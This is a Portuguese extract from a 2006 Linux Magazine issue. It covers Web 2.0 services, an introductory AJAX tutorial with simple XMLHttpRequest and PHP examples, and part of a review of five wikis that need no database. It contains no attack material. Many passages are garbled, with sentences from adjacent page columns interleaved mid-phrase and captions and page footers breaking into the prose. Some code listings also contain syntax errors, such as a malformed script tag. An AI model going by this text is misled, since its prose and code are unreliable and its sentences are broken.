mesmo o nome. Trata-se de uma combinação das já – há alguns mados podcasts. anos – conhecidas técnicas de programação web Javascript, XMLHttpRequest e DHTML (Dynamic HTML). O AJAX Os componentes sociais, que relacio- possibilita modificar um página web nam os weblogs à Web 2.0, são resul- apenas parcialmente (DHTML) e pretantes da intensa comunicação entre enchê-la com novos dados. Isso tem a os “blogueiros” (como os autores de vantagem de não ser necessário que o blogs se descrevem). Eles comentam navegador baixe e reconstrua a página as inserções de outros blogueiros e, novamente, caso sejam alterados apeatravés dos links entre os blogs, co- nas alguns dados. mentam os temas de páginas relacioAlém disso, a transferência assíncronadas. Essa rede criada entre os blogs na de dados (XMLHttpRequest) permite ao de temas correlatos transmite opiniões servidor web solicitar dados de um oua velocidades extremamente rápidas tro servidor no plano de fundo. Assim, ao redor do mundo todo. Com isso, o servidor web reage em fluxo normal, forma-se um cenário difícil de ser enquanto aguarda pelos dados de uma resumido e de grande influência, co- terceira página. Sem a transferência
Nova tecnologia
Web Social
Figura 2: O Last.fm desvenda o gosto musical do usuário, para então sugerir-lhe novas músicas.
http://supertuxbr.blogspot.com 32
http://www.linuxmagazine.com.br
Introdução à Web 2.0 | CAPA
Fôlego para a Web 2.0
assíncrona de dados, antes de preparar as próximas solicitações do usuário, ele No entanto, no sistema operacional AJAX precisaria esperar pela chegada dos no- da Ajaxlaunch, o chamado Ajax OS, ainda espera pelo lançamento. Muitas outras vos dados. As antigas aplicações Java embarca- aplicações AJAX encontram-se há anos em das e animações em Flash, em compa- fase beta. Por trás disso está o sistema: apliração com o AJAX, têm a desvantagem cações importantes da Web percorrem um de que sempre causam problemas com outro processo de desenvolvimento como determinados navegadores ou sistemas software clássico, comprado em caixa. Os operacionais; além de obrigarem os desenvolvedores analisam continuamente usuários a instalar os plugins corres- o comportamento do usuário, e tentam pondentes. Aplicativos AJAX requerem otimizar a aplicação de acordo. Não é apenas um navegador web com Java- preciso declarar uma versão como pronta, script. Embora as implementações de pois seu usuário não tem que instalá-la no Javascript se comportem de maneira computador e eventualmente fazer uma diferente, isso permite que uma solici- atualização. Em vez disso, o navegador tação do navegador utilizado obtenha simplesmente baixa do servidor a nova versão na inicialização seguinte, uma vez uma reação correspondente. Muitas das principais aplicações que ela esteja instalada lá. web se somam à Web 2.0, embora Junto com o AJAX, o formato RSS seu aspecto social seja apenas secun- também é uma técnica típica da Web dário. Entre elas, estão, por exemplo, 2.0. Ele é largamente utilizado especialo GMail [8] e o Google Maps [9]. O mente em blogs, e produz um arquivo primeiro – sob o aspecto funcional – é XML com os conteúdos atualizados. Os apenas mais uma interface web. Ele é interessados não precisam visitar o blog totalmente feito com AJAX, o que faz regularmente, mas apenas chamar mecom que seja servido com um pouco canicamente o arquivo de descrição de mais de velocidade que os clientes conteúdo legível gerado automaticamende email locais, como Thunderbird te em um leitor RSS, para encontrar as ou KMail. novas entradas. As chamadas páginas Meshup posAlgumas aplicações, como o Ajaxwrite [10] (figura 3), estão à frente. Trata-se sibilitam a oferta de leitura automática de um editor de textos que, com ajuda na Web. O conceito é uma mistura dos do AJAX, roda totalmente no navegador. termos ingleses mesh (rede) e mix up O fabricante, Ajaxlaunch, anunciou que (misturar). Assim, o Google Maps perirá implementar todas as aplicações com mite criar links com mapas em outras AJAX necessárias para pôr em prática um páginas, e lá, por exemplo, demarcar sistema operacional com todos os recur- uma rota. Junto a isso, podemos ter alguns informativos de trânsito, obtidos de sos de aplicativos. um outro servidor via RSS. O Protopage [11] fornece um desktop Mais Informações completo no navegador (figura 4). Com esse serviço, o usuário tem a sua dispo[1] Flickr: http://www.flickr.com sição uma interface de trabalho no na[2] Youtube: http://www.youtube.com vegador, na qual ele reúne todas as suas informações importantes, como notícias [3] del.icio.us: http://del.icio.us de outras páginas via RSS, a previsão do [4] Myspace: http://www.myspace.com tempo, fotos do Flickr, entradas de blogs e anotações pessoais. [5] Last.fm: http://www.last.fm [6] Wikipédia: http://www.wikipedia.org [7] Amazon: http://www.amazon.de [8] GMail: http://mail.google.com [9] Google Maps: http://maps.google.com [10] Ajaxwrite: http://www.ajaxwrite.com [11] Protopage: http://www.protopage.com
Figura 4: O Protopage oferece ao usuário um verdadeiro desktop no navegador. Nele, é possível colocar notas, guardar endereços de sites ou até mesmo consultar a previsão do tempo.
No campo da Web social, alguns serviços baseados em comunidades abarcaram milhões de usuários em curto espaço de tempo. Por trás dos sites sociais estão grandes empresas como Yahoo e Google, que naturalmente vislumbram uma maneira de obterem algum ganho com esses serviços gratuitos. Para comercializarem banners de propaganda, usam as informações dos perfis de seus usuários para personalizarem seus serviços, abrindo portas para o uso de dados potencialmente indevido. Em especial, o gigante das buscas na Internet, o Google, lida com extrema curiosidade com os dados de seus usuários. A esfera privada costuma ser bastante limitada em páginas dos serviços da Web 2.0, deixando dados privados às vistas dos participantes das comunidades e nas mãos dos proprietários dos sites. ■
Vago novo mundo
A Web 2.0 continua sendo um conceito um tanto inconsistente, normalmente confundido com estratégia de marketing. Páginas da Internet usam o termo, embora ele tenha pouco de novo a oferecer. Apesar disso, a nova Web é mais que um chamariz de vendas, pois, juntamente com os novos aplicativos e a larga difusão de conexões de Internet, estabeleceu uma nova relação com a WWW.
Figura 3: O Ajaxwrite é um editor de texto completo que roda no navegador web. Graças à tecnologia AJAX, não são necessários plugins Java ou Flash.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
33
Programação de websites com AJAX
CAPA
Interatividade instantânea Modificar textos diretamente na página web? Arrastar e soltar de minifiguras na própria galeria de fotos? Com o AJAX, páginas interativas não são problema. por Oliver Frommel
N
ormalmente, quem utiliza páginas web interativas precisa de um bocado de paciência. Depois de termos que preencher e enviar um formulário com uma série de itens, é preciso esperar que o servidor verifique os dados e envie uma nova página como resposta (figura 1).
Há algum tempo, sites como o Google contornaram esse problema com uma técnica chamada AJAX, a última novidade entre os desenvolvedores web. Em vez de recarregar a página inteira a cada solicitação, o navegador solicita pequenos fragmentos de informação, os quais ele então integra à página em questão. O resultado para o usuário é um carregamento tão rápido quanto o de um aplicativo localizado no desktop. O nome AJAX remete ao artigo “AJAX: A New Approach to Web Applications”, de Jesse James Garret [1]. Embora, segundo as palavras de Garrett, não se trate de um acrônimo, AJAX é interpretado como abreviação de Asynchronous Javascript e XML. Os sites em AJAX não são compostos apenas de arquivos HTML estáticos, mas também de código Javascript, que é executado quando o usuário clica em um link ou solicita algum outro evento. As funções Javascript pedem então novos dados ao servidor.
Assíncrono
Figura 1: O modelo tradicional: a cada modificação, o site deve ser completamente recarregado.
Pau Talan - www.sxc.hu
Como a solicitação é executada assincronamente (o A, em AJAX), o usuário pode interagir com outras partes do HTML ao longo da página – o navegador não fica bloqueado. Uma solicitação assíncrona desvincula a solicitação de sua resposta: depois que o código Javascript envia sua solicitação, ele simplesmente continua a operar. Quando obtemos a resposta no navegador, este chama uma função Javascript pré-estabelecida. Essa função insere a informação novamente na página HTML em questão. Isso poderia ser
um único valor numérico em uma tabela HTML, dados estruturados em XML ou JSON (Javascript Object Notation), valores de formulário, e assim por diante. O Gmail pode, por exemplo, baixar no meio da janela do navegador um editor para a escrita de emails, mostrar uma mensagem, ou listar todas as mensagens (figura 2). Outros exemplos da aplicação prática do AJAX são os aplicativos Web 2.10 Flickr e Del.icio.us.
Início rápido
Para começar, vamos demonstrar o princípio funcional do AJAX através de um aplicativo web muito simples: com um clique do usuário, o navegador baixa um número aleatório do servidor e o mostra no lugar determinado na página web. O aplicativo web consiste de três componentes: a página inicial estática em HTML, os códigos Javascript e um script de servidor, que fornece o resultado (o número aleatório). Para isso, é necessário um servidor web (normalmente o Apache) com suporte a uma linguagem de script – em nosso exemplo, PHP. Na verdade, para o teste com a técnica AJAX, o servidor e o navegador podem rodar no mesmo computador, até mesmo em um computador de mesa normal. O arquivo HTML do aplicativo AJAX de exemplo é construído de forma realmente simples (exemplo 1). Na seção do cabeçalho, a tag de script faz referência a um arquivo Javascript de nome ajax.js, que contém o código completo. Como alternativa, as funções Javascript também podem ficar diretamente no arquivo
http://supertuxbr.blogspot.com 34
http://www.linuxmagazine.com.br
AJAX | CAPA
Exemplo 1: Primeiro teste 01 <html> 02 <head> 03 <script language+"JavaScript" type="text/Javascript" src="ajax.js"/> 04 </head> 05 <body> 06 <a href="#"onclick="Javascript:getRandom()"AJAX-Test</a> 07 <span id="random"> </span> 08 </body> 09 </html>
HTML, mantidas entre tags de abertura e fechamento de script. A conexão entre o código e o HTML é mostrada pela linha 6 do exemplo 1. O atributo onclick do link contém o nome da função Javascript, que chama o navegador (getRandom) quando o usuário clica sobre ele. Finalmente, segue-se um campo HTML (span) com um ID, através do qual, mais tarde, qualquer um pode se comunicar a partir do Javascript. Se você quiser testar se a conexão HTML/Javascript funciona, então insira no arquivo os seguintes códigos: function getRandom() { alert("Clicado"); }
Se index.html e ajax.js estiverem no mesmo diretório do servidor (por exemplo, ajaxtest), chame a página HTML através do endereço http://NomeDoServidor/ ajax-test/. Se o servidor e o navegador estiverem sendo executados no mesmo computador, utilize como nome de servidor localhost. Clicando-se então no link, o navegador deve abrir uma caixa de diálogo que mostra o texto Clicado. Se isso não funcionar, tente a busca de erros. É melhor utilizar o navegador Firefox para o desenvolvimento de AJAX e outros aplicativos web, pois ele oferece algumas ferramentas práticas para isso. Assim, você encontra no menu Ferramentas o item Console JavaScript, que abre uma pequena janela para comunicação de erros de Javascript.
Nesse caso em especial, as fontes de opcionais contêm o nome do usuário e erro não são muito variadas. Ou o ser- a senha para páginas com proteção de vidor não localiza o arquivo Javascript acesso. Se o endereço http://localhost/ (deve-se prestar atenção às maiúsculas e ~oliver/ajax/test.php estiver na variável minúsculas), ou ele contém algum erro Javascript url, a linha seguinte prepara de sintaxe; falta um parêntese, traço, ou a conexão: algo parecido. request.open("GET", url, true);
Conexão do servidor
Até agora, o navegador web envia apenas um arquivo Javascript para o servidor a cada solicitação feita à página HTML. Com isso, a comunicação é fechada e, mesmo com um clique no link, ambos não têm mais qualquer contato. Para obter mais dados do servidor, o código Javascript precisa primeiro inserir uma chamada “solicitação de objeto” (Request-Object). Essa tarefa é realizada pela função XMLHttpRequest(), da qual o AJAX toma sua letra “X”. O novo objeto Request registra o seguinte comando da variável request:
Antes de enviar a solicitação ao servidor, é preciso ainda determinar a função que chamará o navegador, assim que ele receber a resposta. Lembre-se: como o navegador e o servidor se comunicam assincronamente, o navegador não espera pela resposta do servidor. Essas chamadas funções callback são definidas através do campo on-readystatechange do objeto Request. Como o nome sugere, o navegador, no entanto, não apenas chama a função callback quando obtém a resposta, como também sempre que o estado do objeto Request se altera (state change). Ao todo,
request = new XMLHttpRequest
O objeto Request possui alguns métodos importantes para prosseguir com a comunicação com o servidor. Primeiro, request.open() define o parâmetro para a conexão. O primeiro parâmetro é definido pelo método HTTP (GET ou POST), e depois segue-se o endereço web a ser contatado (URL). O próximo parâmetro determina se o acesso deve acontecer assincronamente (neste caso, o valor é true). Os dois outros parâmetros
Exemplo 2: Usando uma função callback 01 02 03 04 05 06 07 08 09 10 11 12
function checkResult() { alert("Neuer Zustand: " + request.readyState); } function getRandom() { request = new XMLHttpRequest(); var url = "http://localhost/~oliver/ajax/index.html"; request.open("GET", url, true); request.onreadystatechange = checkResult; request.send(null); }
Figura 2: O modelo AJAX: cada solicitação altera uma única parte específica da página.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
35
CAPA | Ajax
Exemplo 3: Teste de serviço com número aleatório <? srand(time()); $random = (rand()%100); print $random; ?>
Figura 3: Através do menu Tools | DOM Inspector, o Document Object Model de páginas HTML pode ser mostrado no Firefox.
existem cinco estados nos quais ele pode se encontrar, desde “não ocupado” (0) até “fechado” (4).
Esperar pela resposta
Para que o navegador baixe o código Javascript alterado, é preciso atualizar a página com a tecla de atualização [F5]. Clicando no link, as janelas de diálogo mostram noa seqüência (sem aspas), insira-a na bar- vamente o respectivo estado do objera de endereços de uma nova janela do to Request. Como era de se esperar, o acesso navegador e pressione [Enter]. Caso o servidor responda com uma mensagem aos dados do servidor só é possível após de erro, compare novamente a variável a finalização da transferência, ou seja, no “estado 4”. A partir desse ponto, é com o nome do arquivo no servidor. Outra fonte de erros tem a ver com importante que o responsável pelo bloqueios de segurança do Javascript no callback verifique, a cada mudança navegador: o objeto Request só pode man- de estado, se esse estado final já foi ter contato com o servidor que originou alcançado, e prepare ao final os dados a página HTML. Caso os endereços do do usuário. O estado da requisição pode ser servidor se distanciem uns dos outros, o navegador mostrará a mensagem de erro conferido através da variável readyS“Permission denied”, comunicando a vio- tate do objeto Request. O campo lação da linha de segurança. responseText fornece os dados de A extensão do Firefox Firebug [2] se usuário em formato de texto ASCII. mostra especialmente útil na busca de A função checkResult é semelhante erros em aplicativos AJAX. Ela mostra não ao exemplo 4. apenas falhas no Javascript como, caso Ao recarregar as páginas no navegasolicitado, também cada XMLHttpRequest dor e clicar no link, o usuário vê uma junto com os campos de cabeçalho e janela de diálogo que mostra o número códigos de resposta. aleatório gerado pelo servidor.
Finalmente a solicitação é enviada ao servidor pelo método send. Ela usa como parâmetros opcionais os dados do usuário, como por exemplo o preenchimento de formulários. Como nesse exemplo simples O exemplo apresentado acima não está não existe nenhum dado desse tipo, send totalmente dentro da proposta do inrecebe apenas o parâmetro vazio null. O ventor do AJAX. Solicitações ao servidor exemplo 2 mostra a listagem completa do em segundo plano devem naturalmente simples aplicativo AJAX. Como função servir, antes de mais nada, para intecallback, foi inserida na linha 10 checkRe- grar conteúdo dinâmico à página web sult(), que, a cada chamada, retorna o atual. Por isso, o script PHP do exemplo 3 deve realizar o teste do serviço: estado do Request em um diálogo. Como nesse exemplo o navegador não ele fornece, para cada solicitação, um inicia nada com a resposta do servidor, número aleatório entre 1 e 100. você não precisa se desdobrar para escreCaso você tenha salvo o nome ranver um script PHP. Como demonstração, dom.php no mesmo diretório que os você mesmo pode conduzir o Request com outros arquivos, no servidor, será nea página index, como no exemplo 2. A cessário alterar da mesma forma a aplicação do objeto Request e da função variável url em ajax.js. As linhas correspondentes são: callback não é alterada com isso. Caso não apareça nenhuma caixa de diálogo, faça uma nova busca de erros. var url = "http://localhost/~oliver/ajax/ Será que você digitou incorretamente os ➥ random.php" endereços das variáveis da URL? Copie
Dados do usuário
Exemplo 4: Resposta do servidor function checkResult() { if (request.readyState == 4) { alert("Resposta: " + request.responseText); } }
Alteração do site
Agora você já efetuou dois dos três passos para a aplicação AJAX: enviar uma solicitação ao servidor com um objeto Request e, em seguida, receber a resposta e editála. Para terminar, resta a atualização da página propriamente dita. Finalmente, os dados do usuário devem aparecer nos locais adequados, em vez de surgirem na forma de caixas de diálogo. Essa tarefa também é assumida pelo código Javascript, capaz de processar o conteúdo e a estrutura de uma página HTML de diferentes formas. O chamado Document Object Model (DOM) representa a construção de cada página (figura 3) por dentro do navegador. Essa construção em árvore de cada documento permite que todos os elementos HTML sejam referenciados, lidos e alterados em Javascript. Até mesmo o código escrito pode construir elementos na árvore, que então reaparecem na página HTML. A árvore de elementos de qualquer página pode ser vista no Firefox através do menu Ferramentas | DOM Inspector (figura 3). Primeiramente, deve ser suficiente alterar um elemento existente desse tipo, pois ele mostra o resultado da solicitação
http://supertuxbr.blogspot.com 36
http://www.linuxmagazine.com.br
do AJAX. Isso é feito de forma especialmente simples quando o elemento a ser alterado usa um ID claro, que o Javascript consegue ativar. Para isso, no arquivo HTML do exemplo 1, foi previsto o elemento span com o ID random. A função Javascript getElementById de todo o documento fornece uma referência a esse ID no elemento HTML. O comando seguinte aplica seu atributo innerHTML ao número aleatório contido. var randomDiv = document.getElementById ➥ ("random"); randomDiv.innerHTML = request.responseText;
Se você escrever essas duas linhas no lugar da função alert na versão de checkResult() acima, a aplicação AJAX estará completa: o código Javascript escreverá o resultado diretamente na página HTML, em vez de recarregá-la por completo.
Incompatibilidades
Essa é a teoria – a prática, no entanto, como normalmente acontece no desenvolvimento de aplicações web, parece um pouco diferente. Cada navegador cozinha sua própria sopa, e assim os programadores AJAX tentam se adaptar a essas particularidades. A começar pelo navegador Internet Explorer, cuja versão atual não implementou o objeto XML Request – ao menos de maneira que uma chamada a XMLHttpRequest leve ao resultado desejado. No caso da Microsoft, isso equivale a produzir um objeto ActiveX correspondente que, com sorte, deve se comportar da mesma forma que os objetos Request aqui descritos. Na verdade, é necessária mais uma variante, visto que as versões mais antigas do Internet Explorer requerem uma sintaxe diferente. O navegador Konqueror, do projeto KDE, também se mostrou problemático, assim como sua variante de código fechado, o Safari, da Apple. Ambos sofrem de dificuldades em relação à manipulação das árvores DOM da maioria de suas construções Javascript. O exemplo AJAX apresentado aqui pode ser encontrado com a listagem completa, com improvisos para todos os navegadores, em [3]. A função checkResult() da lista demonstra, além disso, como podemos configurar a interação de maneira mais dinâmica. Como na última variante, o elemento span só aparece no resultado quando a solicitação está encerrada
(“estado 4”). Em todas as outras alterações de estado que se iniciam na construção da conexão, o texto é alterado para Carregando..., para informar ao usuário o que está ocorrendo.
Ajuda na rede
Conforme vimos, as aplicações web AJAX requerem uma programação um pouco mais complexa que a de páginas web convencionais. Isso começa pelo projeto: nem toda página é indicada para ser “ajaxificada”. Aqui a necessidade de um planejamento consciente é ainda mais importante que no desenvolvimento web clássico. Finalmente, para cada seção AJAX em um site deve haver um script correspondente pronto no servidor. Além disso, o código Javascript de cada aplicação AJAX precisa de conhecimento exato sobre a construção das páginas. Nesse ponto, as Cascading Style Sheets (CSS) oferecem uma melhora na estrutura nesse ponto. As diversas bibliotecas AJAX e Javascript na Internet são verdadeiramente úteis. O Sajax [4], por exemplo, encapsula solicitações AJAX e a preparação das respostas, de forma que você não precisa mais se preocupar com incompatibilidades de navegadores. Há outros que oferecem ainda mais conforto, entre eles, Rico [5], Dojo-Toolkit [6] ou a Yahoo User Interface Library (YUI) [7], todos trazendo através do AJAX uma série de funções para a construção de interfaces HTML dinâmicas. ■
Mais Informações [1] AJAX: A New Approach to Web Applications:
http://adaptivepath.com/ publications/essays/ archives/000385.php [2] Firebug: http://www.joehewitt.com/ software/firebug [3] Exemplos on-line: www.linuxmagazine.com.br/ issue/26/ajax.tar.gz [4] Simple AJAX Toolkit: http://www.modernmethod.com/sajax/ [5] Rico: http://openrico.org [6] Dojo: http://dojotoolkit.org [7] YUI: http://sourceforge.net/ projects/yui/
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
Cinco wikis compactos sem banco de dados
CAPA
Serviço rápido
Para a documentação de um pequeno projeto ou coleta de informações, não é preciso um wiki pesado, com banco de dados. Basta uma pequena solução, que utiliza simples arquivos de texto para armazenar conteúdo. por Frank Wieduwilt
Emin Ozkan - www.sxc.hu
O
s wikis estão na moda. Eles permitem a pequenas ou grandes comunidades de usuários reunir informações e editá-las conjuntamente. O exemplo mais popular (e populoso) desse fenômeno é a Wikipédia [1]. Os wikis são usados até mesmo por desenvolvedores para coordenar e planejar seus projetos de trabalho, sem contar seu uso na documentação, onde compõem um meio de ajuda bastante eficiente. Eles se baseiam no modelo de desenvolvimento aberto – cada um deve inserir uma entrada ou editá-la –, o mesmo que também fez a fama dos blogs. Para tarefas simples, um banco de dados grande traz ao sistema mais desvantagens que benefícios, pois sua instalação e administração ficam significativamente mais complexas. Nas alternativas gratuitas do ciberespaço,
que normalmente não trabalham com bancos de dados, um wiki só é factível com o uso de arquivos texto. Além disso, os wikis também esbarram em um obstáculo: são indicados para projetos em que haja no máximo algumas centenas de artigos. Caso esse número cresça, a velocidade de edição cai drasticamente. Este artigo irá apresentar cinco wikis que não dependem de bancos de dados. O quadro 1 apresenta links para três projetos de grandes wikis.
Os candidatos
Este artigo analisa cinco wikis, nos quais os participantes contribuem ativamente: Wikepage, PWP, MoinMoin, PmWiki e Dokuwiki. Todos os projetos prometem uma instalação fácil, sem necessidade de conheci-
Quadro 1: Wikis que suportam bancos de dados Para projetos maiores, com milhares de páginas, os wikis apresentados neste artigo não têm qualquer utilidade. Quem planeja ter um wiki com grande número de artigos deve escolher um com suporte a bancos de dados. Mediawiki [2]: Base da enciclopédia on-line Wikipédia, reúne arquivos locais. Utiliza o MySQL como banco de dados. Wikkawiki [3] : O projeto também usa um banco de dados MySQL para armazenar textos. Além disso, o software permite a extensão através de plugins. ErfurtWiki [4] : Esse programa possui suporte a diversos bancos de dados, e consegue usar até arquivos texto como back-end. A página da WikiMatrix [5] agrupa vários wikis com e sem suporte a bancos de dados.
mentos sobre bancos de dados. No caso mais simples, o sistema mostra, logo após ser descompactado, um arquivo texto de fonte no servidor web. Alguns sistemas permitem o ajuste da aparência através de modelos ou macros, ou ainda estender a funcionalidade com plugins. Um aspecto importante é a proteção de acesso. Se um wiki ficar aberto a qualquer um, existe o risco de usuários e robôs fazerem mau uso do wiki para propaganda e anúncios. Um exemplo de mau uso de wikis desprotegidos é a página do Tipiwiki [2]. Em agosto de 2006, o wiki foi quase totalmente tomado por links de propaganda, de modo que as páginas, incluindo até mesmo a de acesso, não podiam mais ser utilizadas. Enquanto wikis como o Mediawiki trazem uma administração de usuários com proteção em um banco de dados sofisticado, que permite diferentes grupos de usuários com direitos bem definidos, essa possibilidade geralmente não existe nos pequenos wikis. Também é interessante notar o dialeto wiki utilizado, assim como as marcações usadas para se criar comentários ou links. Caso exista o desejo de migrar para um sistema maior, vale a pena saber quanto o conteúdo deverá ser reformatado para isso.
http://supertuxbr.blogspot.com 38
http://www.linuxmagazine.com.br
Wikis | CAPA
da Wikepage; nem a homepage nem os arquivos do código-fonte oferecem qualquer descrição das marcações ou uma explicação sequer de como os temas devem ser instalados.
PWP
Figura 1: A construção simples do Wikepage permite uma escrita rápida; a quantidade de documentação, no entanto, não facilita muito o trabalho.
Wikepage
O wiki Wikepage [3] (figura 1) funciona de acordo com o lema “desempacotar e deixar rodar”. O tamanho total do pacote fica em 38 KB, e seu autor, Sefer Bora Lisesivdin, dá o motivo para isso: na época do Commodore 64, os desenvolvedores tinham apenas 38.911 bytes à disposição e, apesar disso, existiam programas perfeitamente utilizáveis. Com isso, assim como o ditado, o código do Wikepage nunca terá mais que 38.911 bytes. Mas ele funciona baseado em plugins. O Wikepage se baseia no código do Tipiwiki [2], e necessita de um servidor web com PHP 5.1.4 ou superior. A instalação requer apenas que seja descompactado o pacote de arquivos do programa – em seguida, ele já está pronto para o uso. O Wikepage pode ter os temas alterados e também pode ser traduzido com a ajuda de um arquivo de tradução simplesmente copiado para o diretório base do wiki. A aparência do wiki é ajustada ao gosto do leitor através de temas. Uma série de modelos prontos, que podem servir como ponto de partida para alguns experimentos, podem ser encontrados em [4]. Na configuração padrão, o wiki está aberto a todos os visitantes. Há
um modo pessoal no qual deve ser inserida uma senha antes de se editar as páginas. Essa senha vale para todas as páginas – o programa não permite atribuir direitos diferentes para cada usuário. As opções de formatação vão desde diferentes comentários de texto, passando por listas, até simples tabelas. Os desenvolvedores previram até mesmo a construção de imagens nas páginas do wiki. O dialeto wiki difere bastante em relação àquele do Mediawiki; por conta disso, sofre de certa dificuldade para a transferência de conteúdo para outros wikis. Infelizmente, no que diz respeito a documentação ou manuais, a oferta é um pouco escassa no caso
O PWP [5] salva as páginas do wiki em arquivos texto e requer um servidor com PHP a partir da versão 4.2. Se for utilizada a versão 5 dessa linguagem, o software irá pedir os pacotes de compatibilidade com PHP4. A configuração básica é feita rapidamente: basta descompactar o arquivo com o código-fonte e chamar a página de índice para ver o wiki rodando. As alterações nas configurações são feitas com a edição dos arquivos de configuração, naturalmente em texto puro. O PWP formata a saída com CSS, que pode ser alterado como você desejar. O PWP não possui qualquer recurso de administração de usuários. Apenas algumas funções, como a exportação de páginas do wiki em HTML estático, são efetuadas pelos desenvolvedores sob a proteção de uma senha. Lars Ackermann, autor do PWP, aconselha a se utilizar como proteção de acesso os mecanismos do servidor web para limitar o acesso ao wiki através do arquivo .htaccess. O PWP suporta inúmeras opções de formatação: decorações de texto, identações, tabelas, bem como a inserção de desenhos. Os desenhos precisam primeiro ser baixados para um diretório próprio do wiki, chamado Uploaded Files. Por fim, o software permite um link a partir de cada página do wiki. O campo Uploaded Files também abriga arquivos de outros formatos, que depois ficam disponíveis a todos os usuários do wiki. O wiki utiliza um sistema de controle de versões, no qual todas as re-
Figura 2: O MoinMoin é o wiki desenvolvido em Python.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
39
CAPA | Wikis
visões antigas das páginas do wiki são arquivadas e, caso se deseje, reativadas. Com ajuda de um diff, as diferenças entre duas versões de uma mesma página são claramente mostradas. Há uma ferramenta que realiza buscas em todo o texto dos artigos, incluindo páginas de texto puro enviadas através do campo Upload Files. Se desejado, o PWP gera relatórios sobre as páginas do wiki. Aqui existe a possibilidade de se escolher entre listas hierárquicas, tabelas, um índice de sugestões ou uma lista que, além do título, contém as primeiras frases de cada página do wiki. Com um clique em um botão, o PWP produz um calendário. Para cada mês, há uma página e uma forma de visualização. Como de costume no Mediawiki, o PWP produz um índice de títulos da primeira e segunda classificações, na parte superior da página. Enquanto uma página é editada, o PWP a protege do acesso por outros autores. Caso se deseje, o PWP exporta todo o conteúdo do wiki em um diretório especial, em páginas HTML estáticas. A ajuda on-line em inglês esclarece detalhadamente a marcação, que diverge do Mediawiki, bem como a instalação e configuração do PWP.
experimentá-lo localmente, há uma versão atual do MoinMoin sem necessidade de um servidor web com o nome de Desktop MoinMoin [7]. Uma outra possibilidade de instalação local consiste de operar o MoiMoin com o servidor integrado. Isso requer apenas uma instalação do Python funcionando. Para um wiki aberto, no qual trabalham vários usuários ao mesmo tempo, é aconselhável utilizar um servidor web. Em [8] os desenvolvedores do MoinMoin descrevem diferentes cenários para a aplicação do programa. O wiki salva cada texto em um diretório, que é nomeado de acordo com o nome da página do wiki. A interface do MoinMoin pode aparecer em português, caso desejado; a alteração do idioma pode ser feita diretamente no wiki. Internamente, o wiki utiliza o UTF-8 para armazenar seus textos. Com a ajuda de macros e temas, o wiki pode ser ajustado às suas necessidades. Na página do MoinMoin encontram-se vários desses pacotes de macros prontos para utilização. O MoinMoin integra recursos de administração de usuário, que permitem uma atribuição de direitos bastante precisa. Além disso, o programa armazena páginas durante a edição, para que não ocorram acessos concorrentes. É possível renomear textos – com isso, o administrador pode determinar se, por exemplo, páginas de ajuda ou de texto não são mais editáveis. O MoinMoin [6] (figura 2) é o único A marcação permite formatar dedos wikis apresentados desenvolvido em senhos e frases, destacar em cores Python. Para funcionar, ele precisa de um código-fonte em Python, links dentro servidor web com suporte a Python. Para do wiki e para fora dele, e, se assim se desejar, também com textos explicativos. Listas, assim como ícones, também são possíveis. O MoinMoin suporta tabelas, e é o único programa apresentado aqui a utilizar um editor WYSIWYG (visual) para inserção dos textos do wiki. Além disso, o software possibilita a produção de subpáginas. Como diferencial, o MoinMoin entende a sintaxe DocBook na inserção de texto e, caso desejado, também exporta páginas do wiki para DocBook. O wiki salva todas as versões de um texO PmWiki é um wiki bem equipado, com explicação bastante detalhada. to como backup. As-
MoinMoin
Figura 3:
sim, as últimas 100 versões podem ser acessadas através do controle de versões; todas as outras através da URL. Um diff entre duas versões é possível, assim como a amostra das últimas alterações em um texto. O MoinMoin permite o acesso às últimas alterações no wiki através de um RSS. Os desenvolvedores também integraram várias funções de busca: isso permite a busca por títulos de páginas ou em todo o texto, e compreende a inserção de vários termos de busca interligados, bem como o emprego de expressões lógicas. O wiki mostra índices com títulos, palavras e categorias. As opções de textos de ajuda e tutoriais são realmente exemplares. Para cada finalidade, existem explicações claras e detalhadas à disposição.
PmWiki
O PmWiki [9] ( figura 3) salva os artigos em simples arquivos de texto. Para funcionar, ele requer um servidor web com PHP a partir da versão 4.1. Assim como os demais wikis mostrados aqui, sua instalação também é simples: basta descompactar o arquivo com o códigofonte no servidor web e iniciar o wiki através da chamada à página de índice. Além da versão para servidor, existe ainda uma variante independente de banco de dados [10], que permite uma primeira visualização do wiki. O PmWiki suporta a utilização de senhas para diferentes áreas: ou se protege diretamente as páginas do wiki antes do acesso, ou permite-se a edição para apenas um grupo de usuários específico. A divisão dos usuários em grupos permite um controle de acesso no wiki. O programa pode ser configurado para o idioma desejado. Para isso, copie o conteúdo do arquivo de idioma em questão da rede [11] para dois diretórios do wiki, e ajuste o arquivo de configuração manualmente. O PmWiki também suporta UTF-8. A aparência do wiki é controlada por CSS ou skins. Um software adicional correspondente abre a possibilidade de se produzir skins de maneira interativa, e configurá-las separadamente para cada usuário. Para a interação com os usuários, existem adicionais para livros de visitas e fóruns. Para formatação, o PmWiki oferece, além da formatação de desenhos e frases, listas, tabelas e integração de imagens. O PmWiki permite ainda a pré-visualização da impressão de um artigo, na qual são
http://supertuxbr.blogspot.com 40
http://www.linuxmagazine.com.br
Wikis | CAPA
ativar inserindo um comando específico na configuração. Além disso, o wiki oferece suporte completo a UTF-8 no conteúdo. No caso da formatação, o Dokuwiki suporta tudo o que possa ser necessário, incluindo formatos de texto e parágrafos, bem como tabelas e inserção de gráficos nas páginas do wiki. Assim como o Mediawiki, o Dokuwiki oferece a possibilidade de O Docuwiki [12] funciona como um wiki se criar miniaturas de imagens para mostrálivre desde o início (figura 4). Nele, o arquivo las em tamanho ampliado com o clique do com o código-fonte também deve ser des- mouse. A função Section Editing permite a compactado em um diretório do servidor web, edição de pequenas partes do texto. Com e então é possível iniciá-lo imediatamente. ajuda da função diff, o programa mostra Caso se queira utilizar a função Controle duas versões de uma página, e o Dokuwiki de Acesso para controlar o acesso, deve-se destaca as diferenças em cores. Para buscar conteúdos, há uma editar, após a instalação, o arquivo conf/docuwiki.php e também o conf/local.php, de função de busca no texto completo forma correspondente, e, após, definir um à disposição. Uma navegação estrutural na margem superior da janela administrador e sua senha. A aparência do wiki é ajustada de acordo mostra o caminho que o usuário recom a preferência do administrador, através cebeu através do wiki. O Dokuwiki de modelos. A configuração é feita através gera índices automaticamente. Além da edição de um arquivo de configuração 